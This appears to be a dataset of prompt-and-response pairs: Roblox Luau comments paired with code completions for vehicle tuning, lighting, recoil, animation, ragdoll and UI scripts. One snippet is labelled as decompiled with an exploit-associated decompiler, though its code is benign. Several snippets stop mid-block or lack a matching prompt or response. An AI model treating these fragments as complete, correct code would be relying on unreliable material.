		end;
	end;
	return nil;
end;


Prompt:
-- mod:SetPrimaryPartCFrame(CFrame.new(Vector3.new(0,-2,0))) -- опускаем чутка -- TranslateBy MoveTo
-- превращаем в ландшафт

Response: game.Workspace.Terrain:FillBlock(mod.Base.CFrame, mod.Base.Size, Enum.Material.Cobblestone)


Prompt: -- Set the portal effects based on the initial Status value

Response: onAdStatusChange()


Prompt: -- Update the previous floor material, current floor material and sound data

Response:
humanoid:GetPropertyChangedSignal("FloorMaterial"):Connect(function()
	getFloorMaterial()
	getSoundProperties()
	update()

	if humanoid.MoveDirection.Magnitude > 0 then
		currentSound.Playing = true
	end
end)


Prompt: --local r2 = cr.Misc.FR.Door.Ind

Response:
local b1 = lt.LEFT
local b2 = lt.RIGHT
local b3 = lt.TB
local lw = lt.B
local lww = lt.L
local lwww = lt.L2
local hi = lt.HB
local rb = lt.RB
local rv = lt.Reverse

local left = false
local right = false
local hazards = false
local reverse = false
local headlt = false
local highlt = false
local relay = false
local brake = false

function DealWithInput(input,processed)
	if (processed) then return end
	if input.KeyCode == Enum.KeyCode.S or input.KeyCode == Enum.KeyCode.Down then --Brake
		if input.UserInputState == Enum.UserInputState.Begin then
			brake=true
			b3.BrickColor = BrickColor.new("Really red")
			b3.Material = Enum.Material.Neon
			if not left then
				b1.BrickColor = BrickColor.new("Really Red")
				b1.Material = Enum.Material.Neon
			end
			if not right then
				b2.BrickColor = BrickColor.new("Really Red")
				b2.Material = Enum.Material.Neon
			end
		elseif input.UserInputState == Enum.UserInputState.End then
			brake=false
			b3.BrickColor = BrickColor.new("Crimson")
			b3.Material = Enum.Material.SmoothPlastic
			if ((not left) and (not hazards) and (not brake)) then
			b1.BrickColor = BrickColor.new("Pearl")
			b1.Material = Enum.Material.SmoothPlastic
			else


Prompt: --local l2 = cr.Misc.FL.Door.Ind

Response: local r1 = lt.RightIn


Prompt: --//Functions

Response:
function CarColor ()
for i,v in pairs(Car.Body.Color:GetChildren()) do
v.Color = Stats.Color.Value
end
for i,vv in pairs(Car.Misc.Arka_Kapaklar:GetChildren()) do
if vv:IsA("BasePart") then
vv.Color = Stats.Color.Value
end
end
end

function CheckFuel ()
if oldpos == nil then
oldpos = MainP.Position
else
newpos = MainP.Position


Prompt: -- Updates the GUI whenever the player starts to give them the most up to date status.

Response:
updateText()

status.Changed:Connect(updateText)


Prompt: -- Public Methods

Response:
function GJK:IsColliding()
	local direction = (self.CentroidA - self.CentroidB).Unit
	local simplex = {self.SupportA(self.SetA, direction) - self.SupportB(self.SetB, -direction)}

	direction = -direction

	for i = 1, MAX_TRIES do
		table.insert(simplex, self.SupportA(self.SetA, direction) - self.SupportB(self.SetB, -direction))

		if (simplex[#simplex]:Dot(direction) <= 0) then
			return false
		else
			local passed, newDirection = containsOrigin(self, simplex, direction)

			if (passed) then
				return true
			end

			direction = newDirection
		end
	end

	return false
end


Prompt: --> Services

Response: local ReplicatedStorage = game:GetService("ReplicatedStorage")


Prompt: --[[Engine]]

Response:
	--Torque Curve
               Tune.Horsepower		= 730		--	[TORQUE CURVE VISUAL]
               Tune.IdleRPM		= 700		--		https://www.desmos.com/calculator/2uo3hqwdhf
               Tune.PeakRPM		= 7500		--		Use sliders to manipulate values
               Tune.Redline		= 9000		--		Copy and paste slider values into the respective tune values
               Tune.EqPoint		= 5500
               Tune.PeakSharpness	= 7.5
               Tune.CurveMult		= 0.16

	--Incline Compensation
	Tune.InclineComp	= 1.7			-- Torque compensation multiplier for inclines (applies gradient from 0-90 degrees)

	--Misc
	Tune.RevAccel		= 150		-- RPM acceleration when clutch is off
	Tune.RevDecay		= 75		-- RPM decay when clutch is off
	Tune.RevBounce		= 500		-- RPM kickback from redline
	Tune.IdleThrottle	= 3			-- Percent throttle at idle
	Tune.ClutchTol		= 500		-- Clutch engagement threshold (higher = faster response)


Prompt: -- ANIMATION

Response:
function Joint(Name, Part0, Part1, C0, C1, MaxVelocity)
	local Motor = Instance.new("Motor")

	Motor.C0 = C0
	Motor.C1 = C1
	Motor.MaxVelocity = MaxVelocity
	Motor.Name = Name
	Motor.Parent = Part0
	Motor.Part0 = Part0
	Motor.Part1 = Part1
end


Prompt: -- The hand is actually part of the arm/etc, so remap their limb types

Response:
local LIMB_TYPE_ALIASES = {
	Hand = "Arm",
	Foot = "Leg",
}


Prompt:
---//Abrir y cerrar por un button//-----
--[[
	button.MouseButton1Click:Connect(function()
	if frame.Visible == false then
		frame.Visible = true
	else
		frame.Visible = false
	end
	end)
]]


Prompt: -- Classes --

Response:
	if (itemType == 'Class') then
		Classes[item.Name] = item
		item.Properties = {}
		item.Functions = {}
		item.YieldFunctions = {}
		item.Events = {}
		item.Callbacks = {}


Prompt: -- Bind tool events

Response:
Tool.Equipped:connect(equip)
Tool.Unequipped:connect(unequip)


Prompt: --	print(animName .. " " .. idx .. " [" .. origRoll .. "]")

Response:
	local anim = animTable[animName][idx].anim

	-- switch animation
	if (anim ~= currentAnimInstance) then

		if (currentAnimTrack ~= nil) then
			currentAnimTrack:Stop(transitionTime)
			currentAnimTrack:Destroy()
		end

		if (runAnimTrack ~= nil) then
			runAnimTrack:Stop(transitionTime)
			runAnimTrack:Destroy()
		end

		currentAnimSpeed = 1.0

		-- load it to the humanoid; get AnimationTrack
		currentAnimTrack = humanoid:LoadAnimation(anim)

		-- play the animation
		currentAnimTrack:Play(transitionTime)
		currentAnim = animName
		currentAnimInstance = anim

		-- set up keyframe name triggers
		if (currentAnimKeyframeHandler ~= nil) then
			currentAnimKeyframeHandler:disconnect()
		end
		currentAnimKeyframeHandler = currentAnimTrack.KeyframeReached:connect(keyFrameReachedFunc)

		-- check to see if we need to blend a walk/run animation
		if animName == "walk" then
			local runAnimName = "run"
			local runIdx = rollAnimation(runAnimName)

			runAnimTrack = humanoid:LoadAnimation(animTable[runAnimName][runIdx].anim)
			runAnimTrack:Play(transitionTime)

			if (runAnimKeyframeHandler ~= nil) then
				runAnimKeyframeHandler:disconnect()
			end
			runAnimKeyframeHandler = runAnimTrack.KeyframeReached:connect(keyFrameReachedFunc)
		end
	end

end


Prompt: --// Recoil Settings

Response:
	gunrecoil = -0.5; -- How much the gun recoils backwards when not aiming
	camrecoil = 0.43; -- How much the camera flicks when not aiming
	AimGunRecoil = -0.4; -- How much the gun recoils backwards when aiming
	AimCamRecoil = 0.31; -- How much the camera flicks when aiming

	CamShake = 10; -- THIS IS NEW!!!! CONTROLS CAMERA SHAKE WHEN FIRING
	AimCamShake = 8; -- THIS IS ALSO NEW!!!!

	Kickback = 3.4; -- Upward gun rotation when not aiming
	AimKickback = 2.2; -- Upward gun rotation when aiming


Prompt: --------------------[ ARM CREATION FUNCTION ]-----------------------------------------

Response:
function createArms()
	local Arms = {}
	for i = 0, 1 do
		local armModel = Instance.new("Model")
		armModel.Name = "armModel"

		local Arm = Instance.new("Part")
		Arm.BrickColor = (S.fakeArmSettings.realBodyColor and (i == 0 and LArm.BrickColor or RArm.BrickColor) or S.fakeArmSettings.Color)
		Arm.Transparency = S.fakeArmSettings.Transparency
		Arm.Name = "Arm"
		Arm.CanCollide = false
		Arm.Size = V3(0.598, 2, 0.598)
		Arm.Parent = armModel
		local armMesh = Instance.new("SpecialMesh")
		armMesh.MeshId = "rbxasset://fonts//leftarm.mesh"
		armMesh.MeshType = Enum.MeshType.FileMesh
		armMesh.Scale = V3(0.598, 1, 0.598)
		armMesh.Parent = Arm

		local Glove1 = Instance.new("Part")
		Glove1.BrickColor = BrickColor.new("Black")
		Glove1.Name = "Glove1"
		Glove1.CanCollide = false
		Glove1.Size = V3(0.598, 2, 0.598)
		Glove1.Parent = armModel
		local glove1Mesh = Instance.new("SpecialMesh")
		glove1Mesh.MeshId = "rbxasset://fonts//leftarm.mesh"
		glove1Mesh.Offset = V3(0, -0.5, 0)
		glove1Mesh.Scale = V3(0.658, 0.205, 0.658)
		glove1Mesh.Parent = Glove1
		local glove1Weld = Instance.new("Weld")
		glove1Weld.Part0 = Arm
		glove1Weld.Part1 = Glove1
		glove1Weld.Parent = Arm

		local Glove2 = Instance.new("Part")
		Glove2.BrickColor = BrickColor.new("Black")
		Glove2.Name = "Glove2"
		Glove2.CanCollide = false
		Glove2.Size = V3(0.598, 2, 0.598)
		Glove2.Parent = armModel
		local glove2Mesh = Instance.new("SpecialMesh")
		glove2Mesh.MeshId = "rbxasset://fonts//leftarm.mesh"
		glove2Mesh.Offset = V3(0, -0.435, 0)
		glove2Mesh.Scale = V3(0.69, 0.105, 0.69)
		glove2Mesh.Parent = Glove2
		local glove2Weld = Instance.new("Weld")
		glove2Weld.Part0 = Arm
		glove2Weld.Part1 = Glove2
		glove2Weld.Parent = Arm

		local Glove3 = Instance.new("Part")
		Glove3.BrickColor = BrickColor.new("Black")
		Glove3.Name = "Glove3"
		Glove3.CanCollide = false
		Glove3.Size = V3(0.598, 2, 0.598)
		Glove3.Parent = armModel
		local glove3Mesh = Instance.new("SpecialMesh")
		glove3Mesh.MeshId = "rbxasset://fonts//leftarm.mesh"
		glove3Mesh.Offset = V3(0.18 * ((i * 2) - 1), -0.7, 0)
		glove3Mesh.Scale = V3(0.299, 0.305, 0.657)
		glove3Mesh.Parent = Glove3
		local glove3Weld = Instance.new("Weld")
		glove3Weld.Part0 = Arm
		glove3Weld.Part1 = Glove3
		glove3Weld.Parent = Arm

		local Sleeve1 = Instance.new("Part")
		Sleeve1.BrickColor = BrickColor.new("Sand green")
		Sleeve1.Name = "Sleeve1"
		Sleeve1.CanCollide = false
		Sleeve1.Size = V3(0.598, 2, 0.598)
		Sleeve1.Parent = armModel
		local sleeve1Mesh = Instance.new("SpecialMesh")
		sleeve1Mesh.MeshId = "rbxasset://fonts//leftarm.mesh"
		sleeve1Mesh.Offset = V3(0, 0.75, 0)
		sleeve1Mesh.Scale = V3(0.656, 0.3, 0.656)
		sleeve1Mesh.Parent = Sleeve1
		local sleeve1Weld = Instance.new("Weld")
		sleeve1Weld.Part0 = Arm
		sleeve1Weld.Part1 = Sleeve1
		sleeve1Weld.Parent = Arm

		local Sleeve2 = Instance.new("Part")
		Sleeve2.BrickColor = BrickColor.new("Sand green")
		Sleeve2.Name = "Sleeve2"
		Sleeve2.CanCollide = false
		Sleeve2.Size = V3(0.598, 2, 0.598)
		Sleeve2.Parent = armModel
		local sleeve2Mesh = Instance.new("SpecialMesh")
		sleeve2Mesh.MeshId = "rbxasset://fonts//leftarm.mesh"
		sleeve2Mesh.Offset = V3(0, 0.55, 0)
		sleeve2Mesh.Scale = V3(0.75, 0.1, 0.75)
		sleeve2Mesh.Parent = Sleeve2
		local sleeve2Weld = Instance.new("Weld")
		sleeve2Weld.Part0 = Arm
		sleeve2Weld.Part1 = Sleeve2
		sleeve2Weld.Parent = Arm

		table.insert(Arms, {Model = armModel, armPart = Arm})
	end
	return Arms
end


Prompt: -- Ugly hack because sometimes PlayerAdded doesn't fire in play solo

Response:
for _,player in pairs(Players:GetPlayers()) do
	playerAdded(player)
end


Prompt: --- Skill

Response:
local UIS = game:GetService("UserInputService")
local plr = game.Players.LocalPlayer
local Mouse = plr:GetMouse()
local Debounce = true
Player = game.Players.LocalPlayer
Animation = Instance.new("Animation")
Animation.AnimationId = "rbxassetid://4835590095"

UIS.InputBegan:Connect(function(Input)
	if Input.KeyCode == Enum.KeyCode.X and Debounce == true and Tool.Equip.Value == true and Tool.Active.Value == "None" then
		Debounce = false
		Tool.Active.Value = "SunaTornadoBig"
		wait(0.1)
		Track1 = Player.Character.Humanoid:LoadAnimation(Animation)
		Track1:Play()
		wait(0.15)
		script.Fire:FireServer(plr)
	local hum =  Player.Character.Humanoid
	for i = 1,30 do
		wait()
		hum.CameraOffset = Vector3.new(
			math.random(-1,1),
			math.random(-1,1),
			math.random(-1,1)
		)
	end
	hum.CameraOffset = Vector3.new(0,0,0)
	    wait(0.15)
		Tool.Active.Value = "None"
		wait(2)
		Debounce = true
	end
end)


Response:
function PressH(key)
	if (key== "h") then
if (Activate==false) then
	for _,v in ipairs(game.Players.LocalPlayer.Character.Helmet:GetChildren()) do
  		if v.ClassName == "Part" or v.ClassName=="UnionOperation" or v.ClassName=="WedgePart" then
	    game.Players.LocalPlayer.Character.Helmet.LS.Light.Enabled=false
	    game.Players.LocalPlayer.Character.Helmet.Flashlight.Material = "SmoothPlastic"
			v.Transparency=1
     		end
		end
	for _,v in ipairs(game.Players.LocalPlayer.Character:GetChildren()) do
  		if v.ClassName == "Hat"   then
			v.Handle.Transparency=0
     		end
	end
	game.Players.LocalPlayer.Character.Head.Transparency = 0
Activate = true
elseif (Activate==true) then
	for _,v in ipairs(game.Players.LocalPlayer.Character:GetChildren()) do
  		if v.ClassName == "Hat"   then
			v.Handle.Transparency=1
     		end
		end
	for _,v in ipairs(game.Players.LocalPlayer.Character.Helmet:GetChildren()) do
  		if v.ClassName == "Part" or v.ClassName=="UnionOperation" or v.ClassName=="WedgePart"  then
			v.Transparency=0
     		end
	    end
game.Players.LocalPlayer.Character.Helmet.Middle.Transparency=1
game.Players.LocalPlayer.Character.Head.Transparency = 1
	Activate=false
		end
	end
end
Mouse.KeyDown:connect(PressH)


Prompt:
--print("anti-sleep activate")
--[===[
while script.Parent do
	local waitTime = wait()
	if waitTime > 0.0000001 and IsCoupled.Value then --insurance
		LastPositions[NumberPositions]=nil
		table.insert(LastPositions,1,coupler.Position)
		local AveragePosition = Vector3.new()
		for i = 1, #LastPositions do
			AveragePosition = AveragePosition + LastPositions[i]/#LastPositions
		end
		local RateOfChangeOfAveragePosition = (AveragePosition-LastAveragePosition).magnitude/waitTime
		if LastRateOfChangeOfAveragePosition < WakeupThreshold and RateOfChangeOfAveragePosition >= WakeupThreshold then

			if not PGS and RateOfChangeOfAveragePosition > WakeupThreshold then
				for _,k in pairs (coupler.Parent.Parent:GetChildren()) do --this assumes the draft gear itself is welded to the train

					if k:IsA("BasePart") then
						if k:CanAwaken() then
							k:Awake()
						end
						break
					end
				end
			end
		end
		LastRateOfChangeOfAveragePosition = RateOfChangeOfAveragePosition
		LastAveragePosition = AveragePosition
	end
end
]===]


Prompt: --4: And, as said before, this code must be in a NORMAL SCRIPT. not a LocalScript, just a Script.


Prompt: --[[Weight and CG]]

Response:
	Tune.Weight			= 3400		-- Total weight (in pounds)
	Tune.WeightBSize	= {			-- Size of weight brick (dimmensions in studs ; larger = more stable)
	 --[[Width]]		6		,
	 --[[Height]]		3.5		,
	 --[[Length]]		14		}
	Tune.WeightDist		= 50		-- Weight distribution (0 - on rear wheels, 100 - on front wheels, can be <0 or >100)
	Tune.CGHeight		= .8		-- Center of gravity height (studs relative to median of all wheels)
	Tune.WBVisible		= false		-- Makes the weight brick visible

	--Unsprung Weight
	Tune.FWheelDensity	= .1		-- Front Wheel Density
	Tune.RWheelDensity	= .1		-- Rear Wheel Density
	Tune.FWLgcyDensity	= 1			-- Front Wheel Density [PGS OFF]
	Tune.RWLgcyDensity	= 1			-- Rear Wheel Density [PGS OFF]

	Tune.AxleSize		= 2			-- Size of structural members (larger = more stable/carry more weight)
	Tune.AxleDensity	= .1		-- Density of structural members


Prompt: -- move back UI --

Response:
Events.BringTitle.Event:Connect(function()
	moveTitle = tweenService:Create(Title, movementTitle, titleEnd)
	moveSolo = tweenService:Create(PlaySolo, movementSolo, soloEnd)
	moveCustomize = tweenService:Create(Customize, movementCustomize, customizeEnd)
	moveAchievements = tweenService:Create(Achievements, movementAchievements, achievementsEnd)
	moveSettings = tweenService:Create(Settings, movementSettings, settingsEnd)
	moveBack = tweenService:Create(Back, movementBack, backEnd)

	moveTitle:Play()
	moveSolo:Play()
	moveCustomize:Play()
	moveAchievements:Play()
	moveSettings:Play()
	moveBack:Play()

	achievementEnabled.Value = true
	customizeEnabled.Value = true
	soloEnabled.Value = true
	settingsEnabled.Value = true
	backEnabled.Value = false
end)

Events.RemoveTitle.Event:Connect(function()
	moveTitle = tweenService:Create(Title, movementTitle, titleStart)
	moveSolo = tweenService:Create(PlaySolo, movementSolo, soloStart)
	moveCustomize = tweenService:Create(Customize, movementCustomize, customizeStart)
	moveAchievements = tweenService:Create(Achievements, movementAchievements, achievementsStart)
	moveSettings = tweenService:Create(Settings, movementSettings, settingsStart)
	moveBack = tweenService:Create(Back, movementBack, backStart)

	moveTitle:Play()
	moveSolo:Play()
	moveCustomize:Play()
	moveAchievements:Play()
	moveSettings:Play()
	moveBack:Play()

	achievementEnabled.Value = false
	customizeEnabled.Value = false
	soloEnabled.Value = false
	settingsEnabled.Value = false
	backEnabled.Value = true
end)


Prompt: -- not used, but needs to be required

Response: local VehicleController = require(script.MasterControl:WaitForChild('VehicleController'))


Prompt:
-------- CONFIG
-- ENABLERS (do not touch yet)

Response:
local Popups_Enabled = false  -- Enables popups. (refer to "Instructions" for installation)

local Sequential_Indicators = false -- Enables sequential indicators. (refer to "Instructions" for installation)

local Sequential_Segments = 3 -- How many segments your indicators use. (don't use if Sequential_Indicators is false)

local Trunk_Lights = false -- Enables rear, brake, and reverse lights on trunk. (they will still work inside of the main model)

local Plate_Lights = false -- Enables license plate lights.

local Interior_Lights = false -- Enables interior lights. (Not Working Yet)

local Mirror_Indicators = false --Enables indicators on mirrors. (Not Working yet)

local Dashboard_Indicators = false -- Enables dashboard indicators. (refer to "Instrucitons" for setup) (Not Working Yet)


Prompt:
--[[
	 Builds a map that allows us to find Attachment0/Attachment1 when we have the other,
		and keep track of the joint that connects them. Format is
		{
			["WaistRigAttachment"] = {
				Joint = UpperTorso.Waist<Motor6D>,
				Attachment0 = LowerTorso.WaistRigAttachment<Attachment>,
				Attachment1 = UpperToros.WaistRigAttachment<Attachment>,
			},
			...
		}
--]]

Response:
function buildAttachmentMap(character)
	local attachmentMap = {}

	-- NOTE: GetConnectedParts doesn't work until parts have been parented to Workspace, so
	-- we can't use it (unless we want to have that silly restriction for creating ragdolls)
	for _,part in pairs(character:GetChildren()) do
		if part:IsA("BasePart") then
			for _,attachment in pairs(part:GetChildren()) do
				if attachment:IsA("Attachment") then
					local jointName = attachment.Name:match("^(.+)RigAttachment$")
					local joint = jointName and attachment.Parent:FindFirstChild(jointName) or nil

					if joint then
						attachmentMap[attachment.Name] = {
							Joint = joint,
							Attachment0=joint.Part0[attachment.Name];
							Attachment1=joint.Part1[attachment.Name];
						}
					end
				end
			end
		end
	end

	return attachmentMap
end

return function(humanoid)
	local character = humanoid.Parent

	-- Trying to recover from broken joints is not fun. It's impossible to reattach things like
	-- armor and tools in a generic way that works across all games, so we just prevent that
	-- from happening in the first place.
	humanoid.BreakJointsOnDeath = false

	-- Roblox decided to make the ghost HumanoidRootPart CanCollide=true for some reason, so
	-- we correct this and disable collisions. This prevents the invisible part from colliding
	-- with the world and ruining the physics simulation (e.g preventing a roundish torso from
	-- rolling)
	local rootPart = character:FindFirstChild("HumanoidRootPart")
	if rootPart then
		rootPart.CanCollide = false
	end

	local player = game.Players:GetPlayerFromCharacter(character)

	local attachmentMap = buildAttachmentMap(character)
	local ragdollConstraints = buildConstraints(attachmentMap)
	local collisionFilters = buildCollisionFilters(attachmentMap, character.PrimaryPart)

	collisionFilters.Parent = ragdollConstraints
	ragdollConstraints.Parent = character

	game:GetService("CollectionService"):AddTag(humanoid, "Ragdoll")
end


Prompt: -- Don't edit below unless you know what you're doing.

Response:
local O = 1
function onClicked()
if O == 1 then
	O = 2
	One()

elseif O == 2 then
	O = 3
    Two()

elseif O == 3 then
	O = 1
    Three()
end
end

script.Parent.MouseButton1Down:connect(onClicked)


Prompt: --This works great for scary places, adding scream sounds when a humanoi passes trough a zone--


Prompt: --// Functions \\--

Response:
function PartSetup (center,Name)
center.Parent = workspace.CurrentCamera
center.Size = Vector3.new(7, 5, 0.05)
center.Anchored = false
center.CanCollide = false
center.Name = Name.."Menu"
center.CustomPhysicalProperties=  PhysicalProperties.new(0, 0, 0)
center.Transparency = .8
center.BrickColor = BrickColor.White()
center.Material = Enum.Material.Neon
end
function WeldSetup (centerWeld,center,C0info)
centerWeld.Part0 = workspace:WaitForChild(Player.Name).HumanoidRootPart
centerWeld.Part1 = center
centerWeld.C0 = CFrame.new(0,1.5,-5)
centerWeld.Parent = workspace:WaitForChild(Player.Name).HumanoidRootPart
end


Prompt:
--[[
	Returns first value (success), and packs all following values.
]]

Response:
local function packResult(success, ...)
	return success, select("#", ...), { ... }
end

local function makeErrorHandler(traceback)
	assert(traceback ~= nil)

	return function(err)
		-- If the error object is already a table, forward it directly.
		-- Should we extend the error here and add our own trace?

		if type(err) == "table" then
			return err
		end

		return Error.new({
			error = err,
			kind = Error.Kind.ExecutionError,
			trace = debug.traceback(tostring(err), 2),
			context = "Promise created at:\n\n" .. traceback,
		})
	end
end


Prompt: -- Decompiled with the Synapse X Luau decompiler.

Response:
local l__Pets__1 = game.Players.LocalPlayer:WaitForChild("Pets");
local l__Background__2 = script.Parent.Background;
l__Background__2.MouseButton1Click:Connect(function()
	local l__Value__3 = script.Parent.Parent.Parent.DefaultButtonColor.Value;
	local l__SideFrame__4 = script.Parent.Parent.Parent.Parent.SideFrame;
	if l__SideFrame__4.MassDelete.Value ~= false then
		if script.Parent.MassDeleteIndicator.Visible == false then
			script.Parent.MassDeleteIndicator.Visible = true;
			script.Parent.Background.BackgroundColor3 = script.Parent.Parent.Parent.MassDeleteButtonColor.Value;
			return;
		else
			script.Parent.MassDeleteIndicator.Visible = false;
			script.Parent.Background.BackgroundColor3 = l__Value__3;
			return;
		end;
	end;
	for v5, v6 in pairs(script.Parent.Parent:GetChildren()) do
		if v6:IsA("Frame") then
			v6.Background.BackgroundColor3 = l__Value__3;
		end;
	end;
	l__Background__2.BackgroundColor3 = script.Parent.Parent.Parent.SelectButtonColor.Value;
	l__SideFrame__4.PetID.Value = script.Parent.PetID.Value;
end);


Prompt:
-- RayPlaneIntersection (shortened)
-- http://www.siggraph.org/education/materials/HyperGraph/raytrace/rayplane_intersection.htm

Response:
function moduleApiTable:RayPlaneIntersection(ray, planeNormal, pointOnPlane)
	planeNormal = planeNormal.unit
	ray = ray.Unit

	local Vd = planeNormal:Dot(ray.Direction)
	if Vd == 0 then -- parallel, no intersection
		return nil
	end

	local V0 = planeNormal:Dot(pointOnPlane - ray.Origin)
	local t = V0 / Vd
	if t < 0 then --plane is behind ray origin, and thus there is no intersection
		return nil
	end

	return ray.Origin + ray.Direction * t
end

function moduleApiTable:GetEaseLinear()
	return Linear
end
function moduleApiTable:GetEaseOutQuad()
	return EaseOutQuad
end
function moduleApiTable:GetEaseInOutQuad()
	return EaseInOutQuad
end

function moduleApiTable:CreateNewSlider(numOfSteps, startStep, minStep)
	return CreateNewSlider(numOfSteps, startStep, minStep)
end

function moduleApiTable:CreateNewSelector(selectionStringTable, startPosition)
	return CreateSelector(selectionStringTable, startPosition)
end

function moduleApiTable:CreateNewDropDown(dropDownStringTable, startPosition)
	return CreateDropDown(dropDownStringTable, startPosition, nil)
end

function moduleApiTable:AddNewRow(pageToAddTo, rowDisplayName, selectionType, rowValues, rowDefault, extraSpacing)
	return AddNewRow(pageToAddTo, rowDisplayName, selectionType, rowValues, rowDefault, extraSpacing)
end

function moduleApiTable:AddNewRowObject(pageToAddTo, rowDisplayName, rowObject, extraSpacing)
	return AddNewRowObject(pageToAddTo, rowDisplayName, rowObject, extraSpacing)
end

function moduleApiTable:ShowAlert(alertMessage, okButtonText, settingsHub, okPressedFunc, hasBackground)
	ShowAlert(alertMessage, okButtonText, settingsHub, okPressedFunc, hasBackground)
end

function moduleApiTable:IsSmallTouchScreen()
	return isSmallTouchScreen()
end

function moduleApiTable:IsPortrait()
	return isPortrait()
end

function moduleApiTable:MakeStyledButton(name, text, size, clickFunc, pageRef, hubRef)
	return MakeButton(name, text, size, clickFunc, pageRef, hubRef)
end

function moduleApiTable:MakeStyledImageButton(name, image, size, imageSize, clickFunc, pageRef, hubRef)
	return MakeImageButton(name, image, size, imageSize, clickFunc, pageRef, hubRef)
end

function moduleApiTable:AddButtonRow(pageToAddTo, name, text, size, clickFunc, hubRef)
	return AddButtonRow(pageToAddTo, name, text, size, clickFunc, hubRef)
end

function moduleApiTable:CreateSignal()
	return CreateSignal()
end

function  moduleApiTable:UsesSelectedObject()
	return usesSelectedObject()
end

function moduleApiTable:TweenProperty(instance, prop, start, final, duration, easingFunc, cbFunc)
	return PropertyTweener(instance, prop, start, final, duration, easingFunc, cbFunc)
end

function moduleApiTable:OnResized(key, callback)
	return addOnResizedCallback(key, callback)
end

function moduleApiTable:FireOnResized()
	local newSize = getViewportSize()
	local portrait = moduleApiTable:IsPortrait()

	for key, callback in pairs(onResizedCallbacks) do
		callback(newSize, portrait)
	end
end


Prompt: --Create suggestion labels

Response:
local function createSuggestionLabels(props)
	for i = 1,props.maxSuggestions do
		local label = props.rframe.LabelTemplate:Clone()
		label.Name = "Label"..i
		label.Visible = false
		label.Parent = props.rframe
		label.MouseEnter:Connect(function()
			props.suggestionPos = i
		end)
		label.MouseButton1Up:Connect(function()
			props.suggestionPos = i
			selectSuggestion(props)
		end)
	end
end


Prompt:
-- Connects the given collision function to the object's "Touched" event, but only if that object is a Part
-- Otherwise, it tries this function on all of the object's children

Response:
local function attachCollisionFunction(item, collisionFunction)

    if item:IsA("BasePart") then
        item.Touched:Connect(collisionFunction)
    else
        for _, child in ipairs(item:GetChildren()) do
            attachCollisionFunction(child, collisionFunction)
        end
    end
end